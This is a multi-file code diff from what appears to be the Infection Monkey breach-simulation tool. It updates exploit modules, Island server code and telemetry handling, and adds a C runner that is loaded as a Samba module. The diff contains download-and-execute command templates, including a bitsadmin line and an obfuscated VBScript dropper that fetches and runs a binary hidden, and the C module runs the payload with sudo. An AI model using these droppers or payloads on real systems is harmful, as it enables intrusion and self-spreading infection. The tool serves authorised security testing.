return ControlClient.download_monkey_exe_by_os(is_windows, is_32bit)
|
||||
|
||||
|
||||
def build_monkey_commandline_explicitly(parent=None, tunnel=None, server=None, depth=None, location=None):
|
||||
cmdline = ""
|
||||
cmdline += " -p " + GUID
|
||||
|
||||
if target_host.default_tunnel:
|
||||
cmdline += " -t " + target_host.default_tunnel
|
||||
if target_host.default_server:
|
||||
cmdline += " -s " + target_host.default_server
|
||||
if parent is not None:
|
||||
cmdline += " -p " + parent
|
||||
if tunnel is not None:
|
||||
cmdline += " -t " + tunnel
|
||||
if server is not None:
|
||||
cmdline += " -s " + server
|
||||
if depth is not None:
|
||||
if depth < 0:
|
||||
depth = 0
|
||||
|
||||
cmdline += " -d %d" % depth
|
||||
if location is not None:
|
||||
cmdline += " -l %s" % location
|
||||
|
||||
return cmdline
|
||||
|
||||
|
||||
def build_monkey_commandline(target_host, depth, location=None):
|
||||
from config import GUID
|
||||
return build_monkey_commandline_explicitly(
|
||||
GUID, target_host.default_tunnel, target_host.default_server, depth, location)
|
||||
|
||||
|
||||
def report_failed_login(exploiter, machine, user, password):
|
||||
from control import ControlClient
|
||||
ControlClient.send_telemetry('exploit', {'result': False, 'machine': machine.__dict__,
|
||||
'exploiter': exploiter.__class__.__name__,
|
||||
'user': user, 'password': password})
|
||||
|
||||
|
||||
def get_binaries_dir_path():
|
||||
if getattr(sys, 'frozen', False):
|
||||
return sys._MEIPASS
|
||||
else:
|
||||
return os.path.dirname(os.path.abspath(__file__))
|
||||
|
||||
|
|
|
@ -12,7 +12,7 @@ import socket
|
|||
from enum import IntEnum
|
||||
from logging import getLogger
|
||||
from model.host import VictimHost
|
||||
from model import DROPPER_CMDLINE, MONKEY_CMDLINE
|
||||
from model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS
|
||||
from . import HostExploiter
|
||||
from exploit.tools import SmbTools, get_target_monkey
|
||||
from network.tools import check_port_tcp
|
||||
|
@ -249,9 +249,9 @@ class Ms08_067_Exploiter(HostExploiter):
|
|||
|
||||
# execute the remote dropper in case the path isn't final
|
||||
if remote_full_path.lower() != self._config.dropper_target_path.lower():
|
||||
cmdline = DROPPER_CMDLINE % {'dropper_path': remote_full_path}
|
||||
cmdline = DROPPER_CMDLINE_WINDOWS % {'dropper_path': remote_full_path}
|
||||
else:
|
||||
cmdline = MONKEY_CMDLINE % {'monkey_path': remote_full_path}
|
||||
cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': remote_full_path}
|
||||
|
||||
cmdline += build_monkey_commandline(host, depth - 1)
|
||||
|
||||
|
|
|
@ -3,7 +3,7 @@ import ntpath
|
|||
import logging
|
||||
import traceback
|
||||
from tools import build_monkey_commandline
|
||||
from model import DROPPER_CMDLINE, MONKEY_CMDLINE
|
||||
from model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS
|
||||
from model.host import VictimHost
|
||||
from exploit import HostExploiter
|
||||
from exploit.tools import SmbTools, WmiTools, AccessDeniedException, get_target_monkey, report_failed_login
|
||||
|
@ -84,9 +84,9 @@ class WmiExploiter(HostExploiter):
|
|||
return False
|
||||
# execute the remote dropper in case the path isn't final
|
||||
elif remote_full_path.lower() != self._config.dropper_target_path.lower():
|
||||
cmdline = DROPPER_CMDLINE % {'dropper_path': remote_full_path}
|
||||
cmdline = DROPPER_CMDLINE_WINDOWS % {'dropper_path': remote_full_path}
|
||||
else:
|
||||
cmdline = MONKEY_CMDLINE % {'monkey_path': remote_full_path}
|
||||
cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': remote_full_path}
|
||||
|
||||
cmdline += build_monkey_commandline(host, depth - 1)
|
||||
|
||||
|
|
|
@ -4,10 +4,12 @@ __author__ = 'itamar'
|
|||
|
||||
MONKEY_ARG = "m0nk3y"
|
||||
DROPPER_ARG = "dr0pp3r"
|
||||
DROPPER_CMDLINE = 'cmd /c %%(dropper_path)s %s' % (DROPPER_ARG, )
|
||||
MONKEY_CMDLINE = 'cmd /c %%(monkey_path)s %s' % (MONKEY_ARG, )
|
||||
DROPPER_CMDLINE_DETACHED = 'cmd /c start cmd /c %%(dropper_path)s %s' % (DROPPER_ARG, )
|
||||
MONKEY_CMDLINE_DETACHED = 'cmd /c start cmd /c %%(monkey_path)s %s' % (MONKEY_ARG, )
|
||||
DROPPER_CMDLINE_WINDOWS = 'cmd /c %%(dropper_path)s %s' % (DROPPER_ARG, )
|
||||
MONKEY_CMDLINE_WINDOWS = 'cmd /c %%(monkey_path)s %s' % (MONKEY_ARG, )
|
||||
MONKEY_CMDLINE_LINUX = './%%(monkey_filename)s %s' % (MONKEY_ARG, )
|
||||
GENERAL_CMDLINE_LINUX = '(cd %(monkey_directory)s && %(monkey_commandline)s)'
|
||||
DROPPER_CMDLINE_DETACHED_WINDOWS = 'cmd /c start cmd /c %%(dropper_path)s %s' % (DROPPER_ARG, )
|
||||
MONKEY_CMDLINE_DETACHED_WINDOWS = 'cmd /c start cmd /c %%(monkey_path)s %s' % (MONKEY_ARG, )
|
||||
MONKEY_CMDLINE_HTTP = 'cmd.exe /c "bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&cmd /c %%(monkey_path)s %s"' % (MONKEY_ARG, )
|
||||
RDP_CMDLINE_HTTP_BITS = 'bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&&start /b %%(monkey_path)s %s %%(parameters)s' % (MONKEY_ARG, )
|
||||
RDP_CMDLINE_HTTP_VBS = 'set o=!TMP!\!RANDOM!.tmp&@echo Set objXMLHTTP=CreateObject("WinHttp.WinHttpRequest.5.1")>!o!&@echo objXMLHTTP.open "GET","%%(http_path)s",false>>!o!&@echo objXMLHTTP.send()>>!o!&@echo If objXMLHTTP.Status=200 Then>>!o!&@echo Set objADOStream=CreateObject("ADODB.Stream")>>!o!&@echo objADOStream.Open>>!o!&@echo objADOStream.Type=1 >>!o!&@echo objADOStream.Write objXMLHTTP.ResponseBody>>!o!&@echo objADOStream.Position=0 >>!o!&@echo objADOStream.SaveToFile "%%(monkey_path)s">>!o!&@echo objADOStream.Close>>!o!&@echo Set objADOStream=Nothing>>!o!&@echo End if>>!o!&@echo Set objXMLHTTP=Nothing>>!o!&@echo Set objShell=CreateObject("WScript.Shell")>>!o!&@echo objShell.Run "%%(monkey_path)s %s %%(parameters)s", 0, false>>!o!&start /b cmd /c cscript.exe //E:vbscript !o!^&del /f /q !o!' % (MONKEY_ARG, )
|
||||
|
|
|
@ -7,13 +7,17 @@ a = Analysis(['main.py'],
|
|||
pathex=['.'],
|
||||
binaries=None,
|
||||
datas=None,
|
||||
hiddenimports=['_cffi_backend','grequests'],
|
||||
hiddenimports=['_cffi_backend'],
|
||||
hookspath=None,
|
||||
runtime_hooks=None,
|
||||
excludes=None,
|
||||
win_no_prefer_redirects=None,
|
||||
win_private_assemblies=None,
|
||||
cipher=block_cipher)
|
||||
|
||||
a.binaries += [('sc_monkey_runner32.so', './bin/sc_monkey_runner32.so', 'BINARY')]
|
||||
a.binaries += [('sc_monkey_runner64.so', './bin/sc_monkey_runner64.so', 'BINARY')]
|
||||
|
||||
pyz = PYZ(a.pure, a.zipped_data,
|
||||
cipher=block_cipher)
|
||||
exe = EXE(pyz,
|
||||
|
|
|
@ -86,7 +86,7 @@ class ChaosMonkey(object):
|
|||
|
||||
self._default_server = WormConfiguration.current_server
|
||||
LOG.debug("default server: %s" % self._default_server)
|
||||
ControlClient.send_telemetry("tunnel", ControlClient.proxies.get('https'))
|
||||
ControlClient.send_telemetry("tunnel", {'proxy': ControlClient.proxies.get('https')})
|
||||
|
||||
if WormConfiguration.collect_system_info:
|
||||
LOG.debug("Calling system info collection")
|
||||
|
|
|
@ -3,10 +3,14 @@ import os
|
|||
import platform
|
||||
a = Analysis(['main.py'],
|
||||
pathex=['.'],
|
||||
hiddenimports=['_cffi_backend', 'queue','grequests'],
|
||||
hiddenimports=['_cffi_backend', 'queue'],
|
||||
hookspath=None,
|
||||
runtime_hooks=None)
|
||||
|
||||
|
||||
a.binaries += [('sc_monkey_runner32.so', '.\\bin\\sc_monkey_runner32.so', 'BINARY')]
|
||||
a.binaries += [('sc_monkey_runner64.so', '.\\bin\\sc_monkey_runner64.so', 'BINARY')]
|
||||
|
||||
if platform.system().find("Windows")>= 0:
|
||||
a.datas = [i for i in a.datas if i[0].find('Include') < 0]
|
||||
if platform.architecture()[0] == "32bit":
|
||||
|
|
|
@ -0,0 +1,3 @@
|
|||
#!/usr/bin/env bash
|
||||
gcc -c -Wall -Werror -fpic sc_monkey_runner.c
|
||||
gcc -shared -o sc_monkey_runner.so sc_monkey_runner.o
|
|
@ -0,0 +1,160 @@
|
|||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <sys/stat.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#include "sc_monkey_runner.h"
|
||||
|
||||
#ifdef __x86_64__
|
||||
#define ARCH_IS_64
|
||||
#endif
|
||||
|
||||
#ifdef _____LP64_____
|
||||
#define ARCH_IS_64
|
||||
#endif
|
||||
|
||||
#define LINE_MAX_LENGTH (2048)
|
||||
#define MAX_PARAMETERS (30)
|
||||
|
||||
int samba_init_module(void)
|
||||
{
|
||||
#ifdef ARCH_IS_64
|
||||
const char RUNNER_FILENAME[] = "sc_monkey_runner64.so";
|
||||
const char MONKEY_NAME[] = "monkey64";
|
||||
const char MONKEY_COPY_NAME[] = "monkey64_2";
|
||||
#else
|
||||
const char RUNNER_FILENAME[] = "sc_monkey_runner32.so";
|
||||
const char MONKEY_NAME[] = "monkey32";
|
||||
const char MONKEY_COPY_NAME[] = "monkey32_2";
|
||||
#endif
|
||||
const char RUNNER_RESULT_FILENAME[] = "monkey_runner_result";
|
||||
const char COMMANDLINE_FILENAME[] = "monkey_commandline.txt";
|
||||
const int ACCESS_MODE = 0777;
|
||||
const char RUN_MONKEY_CMD[] = "sudo ./";
|
||||
|
||||
int found = 0;
|
||||
char modulePathLine[LINE_MAX_LENGTH] = {'\0'};
|
||||
char commandline[LINE_MAX_LENGTH] = {'\0'};
|
||||
char* monkeyDirectory = NULL;
|
||||
char* fileNamePointer = NULL;
|
||||
FILE * pFile = NULL;
|
||||
pid_t pid = 0;
|
||||
int monkeySize = 0;
|
||||
void* monkeyBinary = NULL;
|
||||
struct stat fileStats;
|
||||
|
||||
pid = fork();
|
||||
|
||||
if (0 != pid)
|
||||
{
|
||||
// error or this is parent - nothing to do but return.
|
||||
return 0;
|
||||
}
|
||||
|
||||
// Find fullpath of running module.
|
||||
pFile = fopen("/proc/self/maps", "r");
|
||||
if (NULL == pFile)
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
|
||||
while (fgets(modulePathLine, LINE_MAX_LENGTH, pFile) != NULL) {
|
||||
fileNamePointer = strstr(modulePathLine, RUNNER_FILENAME);
|
||||
if (fileNamePointer != NULL) {
|
||||
found = 1;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
fclose(pFile);
|
||||
|
||||
// We can't find ourselves in module list
|
||||
if (0 == found)
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
|
||||
monkeyDirectory = strchr(modulePathLine, '/');
|
||||
*fileNamePointer = '\0';
|
||||
|
||||
if (0 != chdir(monkeyDirectory))
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
|
||||
// Write file to indicate we're running
|
||||
pFile = fopen(RUNNER_RESULT_FILENAME, "w");
|
||||
if (NULL == pFile)
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
|
||||
fwrite(monkeyDirectory, 1, strlen(monkeyDirectory), pFile);
|
||||
fclose(pFile);
|
||||
|
||||
// Read commandline
|
||||
pFile = fopen(COMMANDLINE_FILENAME, "r");
|
||||
if (NULL == pFile)
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
|
||||
// Build commandline
|
||||
strncat(commandline, RUN_MONKEY_CMD, sizeof(RUN_MONKEY_CMD) - 1);
|
||||
strncat(commandline, MONKEY_COPY_NAME, sizeof(MONKEY_COPY_NAME) - 1);
|
||||
strncat(commandline, " ", 1);
|
||||
|
||||
fread(commandline + strlen(commandline), 1, LINE_MAX_LENGTH, pFile);
|
||||
fclose(pFile);
|
||||
|
||||
if (0 != stat(MONKEY_NAME, &fileStats))
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
|
||||
monkeySize = (int)fileStats.st_size;
|
||||
|
||||
// Copy monkey to new file so we'll own it.
|
||||
pFile = fopen(MONKEY_NAME, "rb");
|
||||
|
||||
if (NULL == pFile)
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
|
||||
monkeyBinary = malloc(monkeySize);
|
||||
|
||||
if (NULL == monkeyBinary)
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
|
||||
fread(monkeyBinary, 1, monkeySize, pFile);
|
||||
fclose(pFile);
|
||||
|
||||
pFile = fopen(MONKEY_COPY_NAME, "wb");
|
||||
if (NULL == pFile)
|
||||
{
|
||||
free(monkeyBinary);
|
||||
return 0;
|
||||
}
|
||||
fwrite(monkeyBinary, 1, monkeySize, pFile);
|
||||
fclose(pFile);
|
||||
free(monkeyBinary);
|
||||
|
||||
// Change monkey permissions
|
||||
if (0 != chmod(MONKEY_COPY_NAME, ACCESS_MODE))
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
|
||||
system(commandline);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
int init_samba_module(void)
|
||||
{
|
||||
return samba_init_module();
|
||||
}
|
|
@ -0,0 +1,7 @@
|
|||
#ifndef monkey_runner_h__
|
||||
#define monkey_runner_h__
|
||||
|
||||
extern int samba_init_module(void);
|
||||
extern int init_samba_module(void);
|
||||
|
||||
#endif // monkey_runner_h__
|
|
@ -18,8 +18,6 @@ from cc.resources.root import Root
|
|||
|
||||
__author__ = 'Barak'
|
||||
|
||||
# TODO: separate logic from resources
|
||||
|
||||
def serve_static_file(path):
|
||||
print 'requested', path
|
||||
if path.startswith('api/'):
|
||||
|
@ -28,6 +26,7 @@ def serve_static_file(path):
|
|||
|
||||
|
||||
def serve_home():
|
||||
# TODO: remove this or merge with frontend.
|
||||
return serve_static_file('index.html')
|
||||
|
||||
|
||||
|
|
|
@ -0,0 +1,4 @@
|
|||
__author__ = 'itay.mizeretz'
|
||||
|
||||
ISLAND_PORT = 5000
|
||||
DEFAULT_MONGO_URL = "mongodb://localhost:27017/monkeyisland"
|
|
@ -8,14 +8,8 @@ if BASE_PATH not in sys.path:
|
|||
sys.path.insert(0, BASE_PATH)
|
||||
|
||||
from cc.app import init_app
|
||||
from cc.utils import init_collections, local_ip_addresses
|
||||
|
||||
ISLAND_PORT = 5000
|
||||
DEFAULT_MONGO_URL = "mongodb://localhost:27017/monkeyisland"
|
||||
|
||||
INITIAL_USERNAMES = ['Administrator', 'root', 'user']
|
||||
INITIAL_PASSWORDS = ["Password1!", "1234", "password", "12345678"]
|
||||
|
||||
from cc.utils import local_ip_addresses
|
||||
from cc.island_config import DEFAULT_MONGO_URL, ISLAND_PORT
|
||||
|
||||
if __name__ == '__main__':
|
||||
from tornado.wsgi import WSGIContainer
|
||||
|
@ -23,8 +17,6 @@ if __name__ == '__main__':
|
|||
from tornado.ioloop import IOLoop
|
||||
|
||||
app = init_app(os.environ.get('MONGO_URL', DEFAULT_MONGO_URL))
|
||||
with app.app_context():
|
||||
init_collections(INITIAL_USERNAMES, INITIAL_PASSWORDS)
|
||||
http_server = HTTPServer(WSGIContainer(app),
|
||||
ssl_options={'certfile': os.environ.get('SERVER_CRT', 'server.crt'),
|
||||
'keyfile': os.environ.get('SERVER_KEY', 'server.key')})
|
||||
|
|
|
@ -7,8 +7,8 @@ from flask import request, jsonify, make_response
|
|||
import flask_restful
|
||||
|
||||
from cc.resources.monkey_download import get_monkey_executable
|
||||
|
||||
from cc.utils import local_ips
|
||||
from cc.island_config import ISLAND_PORT
|
||||
from cc.services.node import NodeService
|
||||
|
||||
__author__ = 'Barak'
|
||||
|
||||
|
@ -21,7 +21,7 @@ def run_local_monkey(island_address):
|
|||
# get the monkey executable suitable to run on the server
|
||||
result = get_monkey_executable(platform.system().lower(), platform.machine().lower())
|
||||
if not result:
|
||||
return (False, "OS Type not found")
|
||||
return False, "OS Type not found"
|
||||
|
||||
monkey_path = os.path.join('binaries', result['filename'])
|
||||
target_path = os.path.join(os.getcwd(), result['filename'])
|
||||
|
@ -30,8 +30,8 @@ def run_local_monkey(island_address):
|
|||
try:
|
||||
copyfile(monkey_path, target_path)
|
||||
os.chmod(target_path, stat.S_IRWXU | stat.S_IRWXG)
|
||||
except Exception, exc:
|
||||
return (False, "Copy file failed: %s" % exc)
|
||||
except Exception as exc:
|
||||
return False, "Copy file failed: %s" % exc
|
||||
|
||||
# run the monkey
|
||||
try:
|
||||
|
@ -39,16 +39,15 @@ def run_local_monkey(island_address):
|
|||
if sys.platform == "win32":
|
||||
args = "".join(args)
|
||||
pid = subprocess.Popen(args, shell=True).pid
|
||||
except Exception, exc:
|
||||
return (False, "popen failed: %s" % exc)
|
||||
except Exception as exc:
|
||||
return False, "popen failed: %s" % exc
|
||||
|
||||
return (True, "pis: %s" % pid)
|
||||
return True, "pis: %s" % pid
|
||||
|
||||
|
||||
class LocalRun(flask_restful.Resource):
|
||||
def get(self):
|
||||
# TODO implement is_running from db monkeys collection
|
||||
return jsonify(is_running=False)
|
||||
return jsonify(is_running=(NodeService.get_monkey_island_monkey() is not None))
|
||||
|
||||
def post(self):
|
||||
body = json.loads(request.data)
|
||||
|
|
|
@ -1,14 +1,18 @@
|
|||
import json
|
||||
from datetime import datetime, timedelta
|
||||
|
||||
import dateutil
|
||||
import dateutil.parser
|
||||
from flask import request
|
||||
import flask_restful
|
||||
|
||||
from cc.database import mongo
|
||||
from cc.services.config import ConfigService
|
||||
from cc.services.node import NodeService
|
||||
|
||||
__author__ = 'Barak'
|
||||
|
||||
# TODO: separate logic from interface
|
||||
|
||||
|
||||
def update_dead_monkeys():
|
||||
# Update dead monkeys only if no living monkey transmitted keepalive in the last 10 minutes
|
||||
|
@ -29,10 +33,6 @@ class Monkey(flask_restful.Resource):
|
|||
|
||||
if guid:
|
||||
monkey_json = mongo.db.monkey.find_one_or_404({"guid": guid})
|
||||
monkey_json['config']['exploit_user_list'] = \
|
||||
map(lambda x: x['username'], mongo.db.usernames.find({}, {'_id': 0, 'username': 1}).sort([('count', -1)]))
|
||||
monkey_json['config']['exploit_password_list'] = \
|
||||
map(lambda x: x['password'], mongo.db.passwords.find({}, {'_id': 0, 'password': 1}).sort([('count', -1)]))
|
||||
return monkey_json
|
||||
else:
|
||||
result = {'timestamp': datetime.now().isoformat()}
|
||||
|
@ -45,19 +45,22 @@ class Monkey(flask_restful.Resource):
|
|||
def patch(self, guid):
|
||||
monkey_json = json.loads(request.data)
|
||||
update = {"$set": {'modifytime': datetime.now()}}
|
||||
|
||||
monkey = NodeService.get_monkey_by_guid(guid)
|
||||
if 'keepalive' in monkey_json:
|
||||
update['$set']['keepalive'] = dateutil.parser.parse(monkey_json['keepalive'])
|
||||
else:
|
||||
update['$set']['keepalive'] = datetime.now()
|
||||
if 'config' in monkey_json:
|
||||
update['$set']['config'] = monkey_json['config']
|
||||
if 'tunnel' in monkey_json:
|
||||
update['$set']['tunnel'] = monkey_json['tunnel']
|
||||
if 'config_error' in monkey_json:
|
||||
update['$set']['config_error'] = monkey_json['config_error']
|
||||
|
||||
return mongo.db.monkey.update({"guid": guid}, update, upsert=False)
|
||||
if 'tunnel' in monkey_json:
|
||||
host = monkey_json['tunnel'].split(":")[-2].replace("//", "")
|
||||
tunnel_host_id = NodeService.get_monkey_by_ip(host)["_id"]
|
||||
NodeService.set_monkey_tunnel(monkey["_id"], tunnel_host_id)
|
||||
|
||||
return mongo.db.monkey.update({"_id": monkey["_id"]}, update, upsert=False)
|
||||
|
||||
def post(self, **kw):
|
||||
monkey_json = json.loads(request.data)
|
||||
|
@ -71,7 +74,7 @@ class Monkey(flask_restful.Resource):
|
|||
# if new monkey telem, change config according to "new monkeys" config.
|
||||
db_monkey = mongo.db.monkey.find_one({"guid": monkey_json["guid"]})
|
||||
if not db_monkey:
|
||||
new_config = mongo.db.config.find_one({'name': 'newconfig'}) or {}
|
||||
new_config = ConfigService.get_flat_config()
|
||||
monkey_json['config'] = monkey_json.get('config', {})
|
||||
monkey_json['config'].update(new_config)
|
||||
else:
|
||||
|
@ -105,6 +108,12 @@ class Monkey(flask_restful.Resource):
|
|||
else:
|
||||
monkey_json['parent'] = db_monkey.get('parent') + [parent_to_add]
|
||||
|
||||
tunnel_host_id = None
|
||||
if 'tunnel' in monkey_json:
|
||||
host = monkey_json['tunnel'].split(":")[-2].replace("//", "")
|
||||
tunnel_host_id = NodeService.get_monkey_by_ip(host)["_id"]
|
||||
monkey_json.pop('tunnel')
|
||||
|
||||
mongo.db.monkey.update({"guid": monkey_json["guid"]},
|
||||
{"$set": monkey_json},
|
||||
upsert=True)
|
||||
|
@ -113,12 +122,15 @@ class Monkey(flask_restful.Resource):
|
|||
|
||||
new_monkey_id = mongo.db.monkey.find_one({"guid": monkey_json["guid"]})["_id"]
|
||||
|
||||
if tunnel_host_id is not None:
|
||||
NodeService.set_monkey_tunnel(new_monkey_id, tunnel_host_id)
|
||||
|
||||
existing_node = mongo.db.node.find_one({"ip_addresses": {"$in": monkey_json["ip_addresses"]}})
|
||||
|
||||
if existing_node:
|
||||
id = existing_node["_id"]
|
||||
for edge in mongo.db.edge.find({"to": id}):
|
||||
node_id = existing_node["_id"]
|
||||
for edge in mongo.db.edge.find({"to": node_id}):
|
||||
mongo.db.edge.update({"_id": edge["_id"]}, {"$set": {"to": new_monkey_id}})
|
||||
mongo.db.node.remove({"_id": id})
|
||||
mongo.db.node.remove({"_id": node_id})
|
||||
|
||||
return {"id": new_monkey_id}
|
||||
|
|
|
@ -4,37 +4,18 @@ from flask import request, jsonify
|
|||
import flask_restful
|
||||
|
||||
from cc.database import mongo
|
||||
from cc.services.config import ConfigService
|
||||
|
||||
__author__ = 'Barak'
|
||||
|
||||
|
||||
SCHEMA = {
|
||||
'type': 'object',
|
||||
'title': 'Monkey',
|
||||
'properties': {
|
||||
'alive': {
|
||||
'title': 'Alive',
|
||||
'type': 'boolean'
|
||||
}
|
||||
},
|
||||
'options': {
|
||||
'collapsed': True
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
class MonkeyConfiguration(flask_restful.Resource):
|
||||
def get(self):
|
||||
return jsonify(schema=SCHEMA, configuration=self._get_configuration())
|
||||
return jsonify(schema=ConfigService.get_config_schema(), configuration=ConfigService.get_config())
|
||||
|
||||
def post(self):
|
||||
config_json = json.loads(request.data)
|
||||
mongo.db.config.update({'name': 'newconfig'}, {"$set": config_json}, upsert=True)
|
||||
return jsonify(schema=SCHEMA, configuration=self._get_configuration())
|
||||
|
||||
@classmethod
|
||||
def _get_configuration(cls):
|
||||
config = mongo.db.config.find_one({'name': 'newconfig'}) or {}
|
||||
for field in ('name', '_id'):
|
||||
config.pop(field, None)
|
||||
return config
|
||||
mongo.db.config.update({'name': 'newconfig'}, {"$set": config_json}, upsert=True)
|
||||
return jsonify(schema=ConfigService.get_config_schema(), configuration=ConfigService.get_config())
|
||||
|
||||
|
|
|
@ -20,7 +20,7 @@ MONKEY_DOWNLOADS = [
|
|||
},
|
||||
{
|
||||
'type': 'linux',
|
||||
'filename': 'monkey-linux-32',
|
||||
'filename': 'monkey-linux-64',
|
||||
},
|
||||
{
|
||||
'type': 'windows',
|
||||
|
|
|
@ -1,5 +1,6 @@
|
|||
import flask_restful
|
||||
|
||||
from cc.services.edge import EdgeService
|
||||
from cc.services.node import NodeService
|
||||
from cc.database import mongo
|
||||
|
||||
|
@ -10,18 +11,19 @@ class NetMap(flask_restful.Resource):
|
|||
def get(self, **kw):
|
||||
monkeys = [NodeService.monkey_to_net_node(x) for x in mongo.db.monkey.find({})]
|
||||
nodes = [NodeService.node_to_net_node(x) for x in mongo.db.node.find({})]
|
||||
edges = [self.edge_to_net_edge(x) for x in mongo.db.edge.find({})]
|
||||
edges = [EdgeService.edge_to_net_edge(x) for x in mongo.db.edge.find({})]
|
||||
|
||||
if NodeService.get_monkey_island_monkey() is None:
|
||||
monkey_island = [NodeService.get_monkey_island_pseudo_net_node()]
|
||||
edges += EdgeService.get_monkey_island_pseudo_edges()
|
||||
else:
|
||||
monkey_island = []
|
||||
edges += EdgeService.get_infected_monkey_island_pseudo_edges()
|
||||
|
||||
return \
|
||||
{
|
||||
"nodes": monkeys + nodes,
|
||||
"nodes": monkeys + nodes + monkey_island,
|
||||
"edges": edges
|
||||
}
|
||||
|
||||
def edge_to_net_edge(self, edge):
|
||||
return \
|
||||
{
|
||||
"id": edge["_id"],
|
||||
"from": edge["from"],
|
||||
"to": edge["to"]
|
||||
}
|
||||
|
||||
|
|
|
@ -5,7 +5,7 @@ import flask_restful
|
|||
|
||||
from cc.database import mongo
|
||||
|
||||
from cc.utils import init_collections, local_ip_addresses
|
||||
from cc.utils import local_ip_addresses
|
||||
|
||||
__author__ = 'Barak'
|
||||
|
||||
|
@ -22,11 +22,8 @@ class Root(flask_restful.Resource):
|
|||
mongo.db.config.drop()
|
||||
mongo.db.monkey.drop()
|
||||
mongo.db.telemetry.drop()
|
||||
mongo.db.usernames.drop()
|
||||
mongo.db.passwords.drop()
|
||||
mongo.db.node.drop()
|
||||
mongo.db.edge.drop()
|
||||
init_collections()
|
||||
return jsonify(status='OK')
|
||||
elif action == "killall":
|
||||
mongo.db.monkey.update({}, {'$set': {'config.alive': False, 'modifytime': datetime.now()}}, upsert=False,
|
||||
|
|
|
@ -1,13 +1,15 @@
|
|||
import json
|
||||
from datetime import datetime
|
||||
import traceback
|
||||
|
||||
import dateutil
|
||||
from flask import request
|
||||
import flask_restful
|
||||
|
||||
from cc.database import mongo
|
||||
|
||||
from cc.utils import creds_add_username, creds_add_password
|
||||
from cc.services.edge import EdgeService
|
||||
from cc.services.node import NodeService
|
||||
from cc.services.config import ConfigService
|
||||
|
||||
__author__ = 'Barak'
|
||||
|
||||
|
@ -38,75 +40,70 @@ class Telemetry(flask_restful.Resource):
|
|||
telemetry_json['timestamp'] = datetime.now()
|
||||
|
||||
telem_id = mongo.db.telemetry.insert(telemetry_json)
|
||||
monkey = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid'])
|
||||
|
||||
# update exploited monkeys parent
|
||||
try:
|
||||
if telemetry_json.get('telem_type') == 'tunnel':
|
||||
if telemetry_json['data']:
|
||||
host = telemetry_json['data'].split(":")[-2].replace("//", "")
|
||||
tunnel_host = mongo.db.monkey.find_one({"ip_addresses": host})
|
||||
mongo.db.monkey.update({"guid": telemetry_json['monkey_guid']},
|
||||
{'$set': {'tunnel_guid': tunnel_host.get('guid'),
|
||||
'modifytime': datetime.now()}},
|
||||
upsert=False)
|
||||
else:
|
||||
mongo.db.monkey.update({"guid": telemetry_json['monkey_guid']},
|
||||
{'$unset': {'tunnel_guid': ''},
|
||||
'$set': {'modifytime': datetime.now()}},
|
||||
upsert=False)
|
||||
self.process_tunnel_telemetry(telemetry_json)
|
||||
elif telemetry_json.get('telem_type') == 'state':
|
||||
if telemetry_json['data']['done']:
|
||||
mongo.db.monkey.update({"guid": telemetry_json['monkey_guid']},
|
||||
{'$set': {'dead': True, 'modifytime': datetime.now()}},
|
||||
upsert=False)
|
||||
else:
|
||||
mongo.db.monkey.update({"guid": telemetry_json['monkey_guid']},
|
||||
{'$set': {'dead': False, 'modifytime': datetime.now()}},
|
||||
upsert=False)
|
||||
elif telemetry_json.get('telem_type') in ['scan', 'exploit']:
|
||||
dst_ip = telemetry_json['data']['machine']['ip_addr']
|
||||
src_monkey = mongo.db.monkey.find_one({"guid": telemetry_json['monkey_guid']})
|
||||
dst_monkey = mongo.db.monkey.find_one({"ip_addresses": dst_ip})
|
||||
if dst_monkey:
|
||||
edge = mongo.db.edge.find_one({"from": src_monkey["_id"], "to": dst_monkey["_id"]})
|
||||
|
||||
if edge is None:
|
||||
edge = self.insert_edge(src_monkey["_id"], dst_monkey["_id"])
|
||||
|
||||
else:
|
||||
dst_node = mongo.db.node.find_one({"ip_addresses": dst_ip})
|
||||
if dst_node is None:
|
||||
dst_node_insert_result = mongo.db.node.insert_one({"ip_addresses": [dst_ip]})
|
||||
dst_node = mongo.db.node.find_one({"_id": dst_node_insert_result.inserted_id})
|
||||
|
||||
edge = mongo.db.edge.find_one({"from": src_monkey["_id"], "to": dst_node["_id"]})
|
||||
|
||||
if edge is None:
|
||||
edge = self.insert_edge(src_monkey["_id"], dst_node["_id"])
|
||||
|
||||
if telemetry_json.get('telem_type') == 'scan':
|
||||
self.add_scan_to_edge(edge, telemetry_json)
|
||||
else:
|
||||
self.add_exploit_to_edge(edge, telemetry_json)
|
||||
|
||||
except StandardError as e:
|
||||
pass
|
||||
|
||||
# Update credentials DB
|
||||
try:
|
||||
if (telemetry_json.get('telem_type') == 'system_info_collection') and (telemetry_json['data'].has_key('credentials')):
|
||||
creds = telemetry_json['data']['credentials']
|
||||
for user in creds:
|
||||
creds_add_username(user)
|
||||
|
||||
if creds[user].has_key('password'):
|
||||
creds_add_password(creds[user]['password'])
|
||||
self.process_state_telemetry(telemetry_json)
|
||||
elif telemetry_json.get('telem_type') == 'exploit':
|
||||
self.process_exploit_telemetry(telemetry_json)
|
||||
elif telemetry_json.get('telem_type') == 'scan':
|
||||
self.process_scan_telemetry(telemetry_json)
|
||||
elif telemetry_json.get('telem_type') == 'system_info_collection':
|
||||
self.process_system_info_telemetry(telemetry_json)
|
||||
NodeService.update_monkey_modify_time(monkey["_id"])
|
||||
except StandardError as ex:
|
||||
print("Exception caught while updating DB credentials: %s" % str(ex))
|
